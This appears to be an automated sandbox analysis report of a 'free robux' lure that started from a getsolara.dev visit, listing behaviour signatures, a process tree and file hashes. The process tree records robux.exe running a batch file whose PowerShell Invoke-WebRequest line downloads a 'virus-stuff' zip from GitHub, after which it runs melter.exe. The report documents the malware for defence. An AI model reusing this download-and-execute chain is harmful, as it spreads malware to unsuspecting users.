Analysis

  • max time kernel
    1680s
  • max time network
    1759s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23-08-2024 12:34

General

  • Target

    https://getsolara.dev/

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies registry class 3 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 22 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://getsolara.dev/
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffdc493cb8,0x7fffdc493cc8,0x7fffdc493cd8
      2⤵
        PID:5940
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1880 /prefetch:2
        2⤵
          PID:4888
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5244
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2868 /prefetch:8
          2⤵
            PID:1196
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
            2⤵
              PID:2688
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
              2⤵
                PID:240
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4132 /prefetch:1
                2⤵
                  PID:4904
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4128 /prefetch:1
                  2⤵
                    PID:3784
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4044 /prefetch:1
                    2⤵
                      PID:6116
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5304 /prefetch:1
                      2⤵
                        PID:3300
                      • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5580 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2756
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5764 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4628
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5860 /prefetch:2
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1096
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:1
                        2⤵
                          PID:2904
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6172 /prefetch:1
                          2⤵
                            PID:5592
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5136 /prefetch:1
                            2⤵
                              PID:3508
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6480 /prefetch:1
                              2⤵
                                PID:5528
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6448 /prefetch:1
                                2⤵
                                  PID:4412
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5304 /prefetch:8
                                  2⤵
                                    PID:5588
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=6368 /prefetch:8
                                    2⤵
                                    • Modifies registry class
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:5988
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
                                    2⤵
                                      PID:5248
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:1
                                      2⤵
                                        PID:2148
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6672 /prefetch:1
                                        2⤵
                                          PID:5548
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
                                          2⤵
                                            PID:2892
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6368 /prefetch:1
                                            2⤵
                                              PID:1084
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4876 /prefetch:1
                                              2⤵
                                                PID:4852
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7028 /prefetch:1
                                                2⤵
                                                  PID:380
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7072 /prefetch:1
                                                  2⤵
                                                    PID:2044
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6596 /prefetch:1
                                                    2⤵
                                                      PID:4180
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6804 /prefetch:1
                                                      2⤵
                                                        PID:5248
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7104 /prefetch:1
                                                        2⤵
                                                          PID:232
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1924,17651119288353987057,8904963044989056480,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4152 /prefetch:8
                                                          2⤵
                                                          • NTFS ADS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:276
                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                        1⤵
                                                          PID:4424
                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                          1⤵
                                                            PID:1332
                                                          • C:\Windows\System32\rundll32.exe
                                                            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                            1⤵
                                                              PID:4772
                                                            • C:\Windows\system32\OpenWith.exe
                                                              C:\Windows\system32\OpenWith.exe -Embedding
                                                              1⤵
                                                              • Modifies registry class
                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:2648
                                                              • C:\Program Files\Microsoft Office\root\Office16\Winword.exe
                                                                "C:\Program Files\Microsoft Office\root\Office16\Winword.exe" /n "C:\Users\Admin\AppData\Local\Temp\Temp1_free-bobux-main.zip\free-bobux-main\README.md"
                                                                2⤵
                                                                • Checks processor information in registry
                                                                • Enumerates system info in registry
                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:3860
                                                            • C:\Users\Admin\Downloads\free-bobux-main\free-bobux-main\robux.exe
                                                              "C:\Users\Admin\Downloads\free-bobux-main\free-bobux-main\robux.exe"
                                                              1⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:5896
                                                              • C:\Windows\system32\cmd.exe
                                                                "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2FB7.tmp\2FB8.tmp\2FB9.bat C:\Users\Admin\Downloads\free-bobux-main\free-bobux-main\robux.exe"
                                                                2⤵
                                                                  PID:5760
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"
                                                                    3⤵
                                                                    • Blocklisted process makes network request
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:5440
                                                                  • C:\Windows\system32\timeout.exe
                                                                    timeout /t 10 /nobreak
                                                                    3⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:5820
                                                              • C:\Users\Admin\Downloads\free-bobux-main\free-bobux-main\robux.exe
                                                                "C:\Users\Admin\Downloads\free-bobux-main\free-bobux-main\robux.exe"
                                                                1⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:980
                                                                • C:\Windows\system32\cmd.exe
                                                                  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9075.tmp\9076.tmp\9077.bat C:\Users\Admin\Downloads\free-bobux-main\free-bobux-main\robux.exe"
                                                                  2⤵
                                                                    PID:4600
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"
                                                                      3⤵
                                                                      • Blocklisted process makes network request
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:4344
                                                                    • C:\Windows\system32\timeout.exe
                                                                      timeout /t 10 /nobreak
                                                                      3⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:3548
                                                                    • C:\Windows\system32\timeout.exe
                                                                      timeout /t 20 /nobreak
                                                                      3⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:1580
                                                                • C:\Users\Admin\AppData\Local\Temp\Temp1_robux2.zip\virus-stuff-main\melter.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\Temp1_robux2.zip\virus-stuff-main\melter.exe"
                                                                  1⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:2072

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                  Filesize

                                                                  2KB

                                                                  MD5

                                                                  5f4c933102a824f41e258078e34165a7

                                                                  SHA1

                                                                  d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

                                                                  SHA256

                                                                  d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

                                                                  SHA512

                                                                  a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                  Filesize

                                                                  152B

                                                                  MD5

                                                                  3e681bda746d695b173a54033103efa8

                                                                  SHA1

                                                                  ae07be487e65914bb068174b99660fb8deb11a1d

                                                                  SHA256

                                                                  fee5f7377e5ca213c1d8d7827b788723d0dd2538e7ce3f35581fc613fde834c2

                                                                  SHA512

                                                                  0f4381c769d4ae18ff3ac93fd97e8d879043b8ec825611db27f08bd44c08babc1710672c3f93435a61e40db1ccbf5b74c6363aaaf5f4a7fc95a6a7786d1aced8

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                  Filesize

                                                                  152B

                                                                  MD5

                                                                  9f081a02d8bbd5d800828ed8c769f5d9

                                                                  SHA1

                                                                  978d807096b7e7a4962a001b7bba6b2e77ce419a

                                                                  SHA256

                                                                  a7645e1b16115e9afec86efa139d35d5fecc6c5c7c59174c9901b4213b1fae0e

                                                                  SHA512

                                                                  7f3045f276f5bd8d3c65a23592419c3b98f1311c214c8e54a4dfe09122a08afb08ab7967b49bd413bc748ce6363658640bc87958d5e0a78974680a8f9beadf44

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\3df5ce5b-3b59-471d-82c2-c8ab1a9c969e.tmp

                                                                  Filesize

                                                                  37B

                                                                  MD5

                                                                  661760f65468e15dd28c1fd21fb55e6d

                                                                  SHA1

                                                                  207638003735c9b113b1f47bb043cdcdbf4b0b5f

                                                                  SHA256

                                                                  0a5f22651f8fe6179e924a10a444b7c394c56e1ed6015d3fc336198252984c0e

                                                                  SHA512

                                                                  6454c5f69a2d7d7f0df4f066f539561c365bb6b14c466f282a99bf1116b72d757bef0bf03a0e0c68a7538a02a993fc070c52133ca2162c8496017053194f441c

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000a

                                                                  Filesize

                                                                  62KB

                                                                  MD5

                                                                  c3c0eb5e044497577bec91b5970f6d30

                                                                  SHA1

                                                                  d833f81cf21f68d43ba64a6c28892945adc317a6

                                                                  SHA256

                                                                  eb48be34490ec9c4f9402b882166cd82cd317b51b2a49aae75cdf9ee035035eb

                                                                  SHA512

                                                                  83d3545a4ed9eed2d25f98c4c9f100ae0ac5e4bc8828dccadee38553b7633bb63222132df8ec09d32eb37d960accb76e7aab5719fc08cc0a4ef07b053f30cf38

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b

                                                                  Filesize

                                                                  41KB

                                                                  MD5

                                                                  60f8cd04587a51e31b51d1570d6f889a

                                                                  SHA1

                                                                  88574c41d0ab81721b275252464da5c7927a4835

                                                                  SHA256

                                                                  27cb4390e32a97375dd4987ae000406933bceba5199f17893711e782333b81cb

                                                                  SHA512

                                                                  84c12448ac55dd819749fef9be9919111a3df4bc51e66d2fa9f7376c11c101ed1349cb36aa119aa873cdd6c0c91027e201fbe23c2c83b89bc900a4d9077bcc52

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000c

                                                                  Filesize

                                                                  67KB

                                                                  MD5

                                                                  ed124bdf39bbd5902bd2529a0a4114ea

                                                                  SHA1

                                                                  b7dd9d364099ccd4e09fd45f4180d38df6590524

                                                                  SHA256

                                                                  48232550940208c572ebe487aa64ddee26e304ba3e310407e1fc31a5c9deed44

                                                                  SHA512

                                                                  c4d180292afa484ef9556d15db1d3850416a85ad581f6f4d5eb66654991fa90f414029b4ce13ed142271a585b46b3e53701735ee3e0f45a78b67baa9122ba532

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000e

                                                                  Filesize

                                                                  65KB

                                                                  MD5

                                                                  56d57bc655526551f217536f19195495

                                                                  SHA1

                                                                  28b430886d1220855a805d78dc5d6414aeee6995

                                                                  SHA256

                                                                  f12de7e272171cda36389813df4ba68eb2b8b23c58e515391614284e7b03c4d4

                                                                  SHA512

                                                                  7814c60dc377e400bbbcc2000e48b617e577a21045a0f5c79af163faa0087c6203d9f667e531bbb049c9bd8fb296678e6a5cdcad149498d7f22ffa11236b51cb

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000f

                                                                  Filesize

                                                                  19KB

                                                                  MD5

                                                                  2e86a72f4e82614cd4842950d2e0a716

                                                                  SHA1

                                                                  d7b4ee0c9af735d098bff474632fc2c0113e0b9c

                                                                  SHA256

                                                                  c1334e604dbbffdf38e9e2f359938569afe25f7150d1c39c293469c1ee4f7b6f

                                                                  SHA512

                                                                  7a5fd3e3e89c5f8afca33b2d02e5440934e5186b9fa6367436e8d20ad42b211579225e73e3a685e5e763fa3f907fc4632b9425e8bd6d6f07c5c986b6556d47b1

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000010

                                                                  Filesize

                                                                  84KB

                                                                  MD5

                                                                  74e33b4b54f4d1f3da06ab47c5936a13

                                                                  SHA1

                                                                  6e5976d593b6ee3dca3c4dbbb90071b76e1cd85c

                                                                  SHA256

                                                                  535fc48679c38decd459ad656bdd6914e539754265244d0cc7b1da6bddf3e287

                                                                  SHA512

                                                                  79218e8ee50484af968480ff9b211815c97c3f3035414e685aa5d15d9b4152682d87b66202339f212bf3b463a074bf7a4431107b50303f28e2eb4b17843991c2

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000011

                                                                  Filesize

                                                                  1.2MB

                                                                  MD5

                                                                  2049c79ddc0ba3375dfe1832624bba4c

                                                                  SHA1

                                                                  aec0cf9ae1738391d630681d653b08625b276bc3

                                                                  SHA256

                                                                  e9cff2115e36f340c8a7cee5f24c5392259cd2c440fc9890b265551e4badf572

                                                                  SHA512

                                                                  4fd7488e94e8c9c990439a9200e9317eb7dc50eed35d32d17f13292d4d468949d990afadf4c654e8abadb638aced83cdd868dd6b68d4efe5aeec2670573da0fc

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                  Filesize

                                                                  4KB

                                                                  MD5

                                                                  79e4446a4b9f005e69f2fe1b5a906e7b

                                                                  SHA1

                                                                  bbf1b70aa0d765eb6ab4d0a22f902669079e8ba0

                                                                  SHA256

                                                                  3de10e6d54d5466a09ccb1e93f3766e2f30c7a2ba7d3660bdfed6dcaf886d6b8

                                                                  SHA512

                                                                  048fd290c3be16e20fb0c0d6e8e930c685aebe8915d3b67a4f11a68c373407ddb8547ff43d9860ca6a58a164834f1c170c32df1ee6b6176ebf7d5cdb5bc38562

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                  Filesize

                                                                  72B

                                                                  MD5

                                                                  a187c39df2e09d89bb4e20615eb9254b

                                                                  SHA1

                                                                  44812d012c77cae55eb6b5b8af42eb61a463e127

                                                                  SHA256

                                                                  456a7497ac1f025f2de0789bebeb83573e1f356ec591a2a99c70afb34d69410f

                                                                  SHA512

